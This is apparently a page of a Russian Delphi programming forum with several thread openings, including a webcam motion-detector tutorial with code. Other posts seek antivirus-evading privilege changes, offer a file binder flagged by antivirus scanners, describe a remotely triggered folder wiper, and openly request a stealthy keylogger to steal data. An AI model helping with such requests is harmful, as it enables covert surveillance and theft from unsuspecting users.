А если я скажу что на использование функции указанной в первом коде не ругается антивирус, может хоть так народ обратит на это внимание?

PS: по крайней мере Касперский точно не среагировал!

я просто никак не могу сообразить как объединить эти два кода во едино, что бы используя функцию из первого примера добавить учетную запись в группу...

Делаем скриншот

xXxSh@dowxXx — Fri, 09 Mar 2012 13:48:36 GMT

Всем привет, это снова я

у меня такой вопрос:

пишу программу запись изображения с экрана монитора, и не могу разобраться как добавить в программу выделение определенной области экрана мышкой, что бы запись производилась конкретно из этой выделенной области?

сам код записи и сохранения видео у меня уже есть, и с этим я разобрался, просто в моем коде я изначально указывал "height" и "width" в диапозоне которых и производилась запись, мне нужно добавить возможность выделения области экрана, что бы параметры высоты и ширины выделенной области копировались в программу, вот как то так...

вобщем как я понял нужно во первых нарисовать поверх всех окон (при нажатии на Mouse1) рамку, что бы пользователь видел какую конкретно область он выделил..,далее нужно плясать по высоте и ширине от края экрана, для того что бы контуры рамки можно было увеличивать либо уменьшать - как при обычном выделении, но как это все выглядит в коде я не могу никак сообразить, подскажите кто в курсе как это должно быть или какие хоть функции использовать?

Файловый шредер

tatsu — Sun, 04 Mar 2012 20:01:26 GMT

Здравствуйте, поскольку занимаюсь всякой дребеденью в сети (а кто тут не занимается?) решил заморочиться и написать файловый шредер.
Столкнулся с задачкой - с чего начать, первое, что пришло на ум это TmemoryStream. Просто подгрузить в него файл, перезаписать сгенерироваными символами и выплюнуть на место, после чего просто удалить. Однако абсолютно не умею с ним работать. Дальше загрузки и выгрузки файла пока не сообразил.
Вторая идея - плясать от hex-редактора, т.е. взять за основу редактор, сделать его автоматизированым и так же как и в первом случае генерировать символы, после чего записывать и удалять(естественно в обоих случаях, перезаписи и генерации многократные). Однако найденый мной hex-редактор( естественно на дельфи, естественно исходник) работает через tfilestream, который я вообще впервые увидел.
Подскажите пожалуйста , какой вариант(memory или file) оптимален и если можно то мануал по работе с потоками в студию(подробный, для совсем аболтусов):)
В проекте шредер управляемый через аську, с возможностью сноса заранее заданых критичных папок, одним кликом, ну и естественно максимальное быстродействие. Я не жадина - исходники в паблик.

Детектор движения из вэб камеры

C@T — Thu, 16 Feb 2012 17:21:17 GMT

Детектор движения из вэб камеры

Я знаю что данная тема не один рас поднималась, и на эту тему есть много статей но всеже я решил написать мини статью, так как на данном форуме эта тема еще не появлялась
начнем с вывода изображения с вэб камеры на экран

первый способ:
кидаем на форму панельку(TPanel),кнопку,и таймер
и пишем такой код:

Code

unit Unit1;

interface

uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, ExtCtrls, StdCtrls,ShellAPI;

type
   TForm1 = class(TForm)
     Panel1: TPanel;
     Button1: TButton;
     Timer1: TTimer;
     procedure Button1Click(Sender: TObject);
     procedure Timer1Timer(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;

const WM_CAP_START = WM_USER;
WM_CAP_STOP = WM_CAP_START + 68;
WM_CAP_DRIVER_CONNECT = WM_CAP_START + 10;
WM_CAP_DRIVER_DISCONNECT = WM_CAP_START + 11;
WM_CAP_SAVEDIB = WM_CAP_START + 25;
WM_CAP_GRAB_FRAME = WM_CAP_START + 60;
WM_CAP_SEQUENCE = WM_CAP_START + 62;
WM_CAP_FILE_SET_CAPTURE_FILEA = WM_CAP_START + 20;

function capCreateCaptureWindowA(lpszWindowName : PCHAR;
dwStyle : longint;
x : integer;
y : integer;
nWidth : integer;
nHeight : integer;
ParentWin : HWND;
nId : integer): HWND;
stdcall external 'AVICAP32.DLL';

var
   Form1: TForm1;
   hWnd:THandle;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
  hWnd := capCreateCaptureWindowA('Capture Window',
WS_CHILD or WS_VISIBLE ,
0,
0,
Panel1.Width,
Panel1.Height,
Panel1.Handle,
0); //создаем область для вывода получаемых в будущем картинок =)

if hWnd <> 0 then //если при создании области ошибок не возникло, то сопкойно начинаем забирать данный с веб-камеры
SendMessage(hWnd, WM_CAP_DRIVER_CONNECT, 0, 0);  //забираем картинку с вебкамеры

Timer1.Enabled:=True;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
if hWnd <> 0 then
SendMessage(hWnd, WM_CAP_GRAB_FRAME, 0, 0);
end;

end.

кликаем на кнопку, и видем себя
но с помощью этого способа проблематично почучить битмап из карда, потомучто если просто копировать то что нарисовано на форме то для получения битмапа будет необходимо чтобы программа всегда была развернутой(на экране было видно картинку с вэб камеры)
поэтому я привожу два способа

второй способ:

это способ с использованием нестаного набора компонентов называемого как DSpack(скачать можно тут http://code.google.com/p/dspack/downloads/list )

Code

unit Unit1;

interface

uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, DSPack,DSUtil,DirectShow9, StdCtrls, ExtCtrls;

type
PPixelArray = ^TpixelArray;//указатель на масив байтов
TPixelArray = array [0..0] of byte;//масив байтов

type
   TForm1 = class(TForm)
     FilterGraph1: TFilterGraph;
     VideoWindow1: TVideoWindow;
     Filter1: TFilter;
     SampleGrabber1: TSampleGrabber;
     ComboBox1: TComboBox;
     Timer1: TTimer;
     Button2: TButton;
     Button3: TButton;
     procedure FormCreate(Sender: TObject);
     procedure ComboBox1Change(Sender: TObject);
     procedure Timer1Timer(Sender: TObject);
     procedure Button2Click(Sender: TObject);
     procedure Button3Click(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;

var
   Form1: TForm1;
   VideoDevice:TSysDevEnum;
   OldPixelsBuf:PPixelArray;
   SelectedX:integer;
   SelectedY:integer;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
i:integer;
begin
VideoDevice := TSysDevEnum.Create(CLSID_VideoInputDeviceCategory);//получаем список устров с которых можно принять видео поток(получаем список веб камер)
if VideoDevice.CountFilters > 0 then//если есть хоть один девайс
for i:=0 to VideoDevice.CountFilters - 1 do// то добавляем девайсы в список для выбора
ComboBox1.Items.Add(VideoDevice.Filters[i].FriendlyName);

FilterGraph1.ClearGraph;//настраеваем фильтр
FilterGraph1.Active := false;
Filter1.BaseFilter.Moniker:=VideoDevice.GetMoniker(0);//выводим изображение с первого девайса
FilterGraph1.Active := true;

//задайом что откуда нужно получать и что куда должно выводится
with FilterGraph1 as ICaptureGraphBuilder2 do
RenderStream(@PIN_CATEGORY_PREVIEW,nil,
Filter1 as IBaseFilter,
SampleGrabber1 as IBaseFilter,
VideoWindow1 as IbaseFilter);

//выводим изображение
FilterGraph1.Play;
//VideoWindow1.Visible := false;
end;

procedure TForm1.ComboBox1Change(Sender: TObject);
begin
FilterGraph1.ClearGraph;
FilterGraph1.Active := false;
Filter1.BaseFilter.Moniker:=VideoDevice.GetMoniker(ComboBox1.ItemIndex);//меняем девайс на выбранный
FilterGraph1.Active := true;
//Ica

with FilterGraph1 as ICaptureGraphBuilder2 do
RenderStream(@PIN_CATEGORY_PREVIEW,nil,
Filter1 as IBaseFilter,
SampleGrabber1 as IBaseFilter,
VideoWindow1 as IbaseFilter);

FilterGraph1.Play;

OldPixelsBuf := nil;
end;

Function GetPixelsArrayFromBitmap(h:HBITMAP;Width,Height:integer):PPixelArray;//функция получения масива пикселей из битмапа
var
n:integer;
TempByte:Byte;
i:integer;
BMInfo:TBitmapInfo;
Buf: PPixelArray;
MemDC:hdc;
begin
FillChar(BMInfo,SizeOf(BMInfo),0);
BMInfo.bmiHeader.biSize:=SizeOf(TBitmapInfoHeader);
BMInfo.bmiHeader.biBitCount := 24;
BMInfo.bmiHeader.biWidth := Width;
BMInfo.bmiHeader.biHeight := Height;
n := BMInfo.bmiHeader.biWidth * BMInfo.bmiHeader.biHeight;
BMInfo.bmiHeader.biPlanes := 1;
BMInfo.bmiHeader.biCompression := BI_RGB;

MemDC := CreateCompatibleDC(0);
GetMem(Buf,n*3);
GetDIBits(MemDC,h,0,BMInfo.bmiHeader.biHeight,Buf,BMInfo,DIB_RGB_COLORS);
for i:=0 to n do begin
TempByte := Buf[i*3];
Buf[i*3] := Buf[i*3 + 2];
Buf[i*3 + 2] := TempByte;
end;

Result := Buf;
end;

procedure TForm1.Timer1Timer(Sender: TObject);//процедура таймера
var
b:tbitmap;
n:integer;//кол-во пикселей
PixelsAreChanged:integer;//количество измененных пикселей
i:integer;
PixelsBuf: PPixelArray;//масив пикселей

r1,g1,b1:byte;//RGB текущего кадра
r2,g2,b2:byte;//RGB перведущего кадра
begin
b:=TBitmap.Create;//создайом битмап
SampleGrabber1.GetBitmap(b);//получаем битмап из битмап из текущего кадра

PixelsBuf:=GetPixelsArrayFromBitmap(b.Handle,b.Width,b.Height);//получаем масив пикселей этого битмапа(можно конечноже использовать и b.Canvas.Pixels[x,y] но это негативно скажется на быстродействии программы)
n:=b.Width*b.Height;//считаем кол-во пикселов

PixelsAreChanged := 0;
if OldPixelsBuf <> nil then//если преведущий кадр существует то
for i := 0 to n do//начинаем сравнивать текущий кадр с преведущим
begin
   r1:=PixelsBuf[i*3];
   g1:=PixelsBuf[i*3 + 1];
   b1:=PixelsBuf[i*3 + 2];

   r2:=OldPixelsBuf[i*3];
   g2:=OldPixelsBuf[i*3 + 1];
   b2:=OldPixelsBuf[i*3 + 2];

   if (r1-r2)>20 then Inc(PixelsAreChanged);//если произошли изменеия то увеличеваем счетчик изменений
   if (g1-g2)>20 then Inc(PixelsAreChanged);
   if (b1-b2)>20 then Inc(PixelsAreChanged);
end;

FreeMem(OldPixelsBuf);//освобождаем память старого масива пикселей
OldPixelsBuf:=PixelsBuf;//текущий масив пикселей(пиксели текущего кадра) становится старым масивом

if PixelsAreChanged > 2000 then//проверяем сколько произошло изменений
MessageBeep(MB_OK);//если изменений произошло больше нормы то подайом звуковой сигнал

b.Free;//освобождаем битмап
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
Timer1.Enabled := true;//старт
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
Timer1.Enabled:=false;//стоп
end;

end.

в итоге у нас получится програмка трещащая на движения как счетчик гейгера

2JOINER

gravitas — Sun, 12 Feb 2012 06:42:24 GMT

Писал пол дня. В итоге VT показал 14\43. Решил сделать чем то вроде паблик проекта.
Склеивает 2 файла в один. Клеит только ЕХЕ. Работает со стабом (Стаб - 8 кб (без сжатия). Мог переписать на апи, но для первой версии решил оставить модуль Windows). После запуска файла, из него выгружаются и запускаются склеенные файлы. Имена файлов при изьятии пока менять нелья (f1.exe\f2.exe).
Выкладываю для вашей оценки.

Пароль на архив: delfcode.ru

Нужен кейлогер))

link993 — Thu, 29 Dec 2011 13:27:15 GMT

Друзья, мне срочно нужен кейлогер. Главное не палевный и который посылает свои логи куда нить, чтоб я мог их взять. Нужен очень срочно! Умоляю вас дайте что нибудь подходящее.

Просто нужен кейлогер, чтобы украсть информацию с компьютера пользователя. Размер значения не имеет. Тащил чтоб английские и русские буквы.

+ посылал логи на e-mail или на icq. Короче куданибудь чтоб я мог их взять.

Подобие танчиков)

gravitas — Wed, 30 Nov 2011 11:08:00 GMT

Вобщем игрался я Написал простенькую игрульку. Правда возможность стрелять не добавил. Управлять танком на клавиатуре через стрелки.
Строго не судим)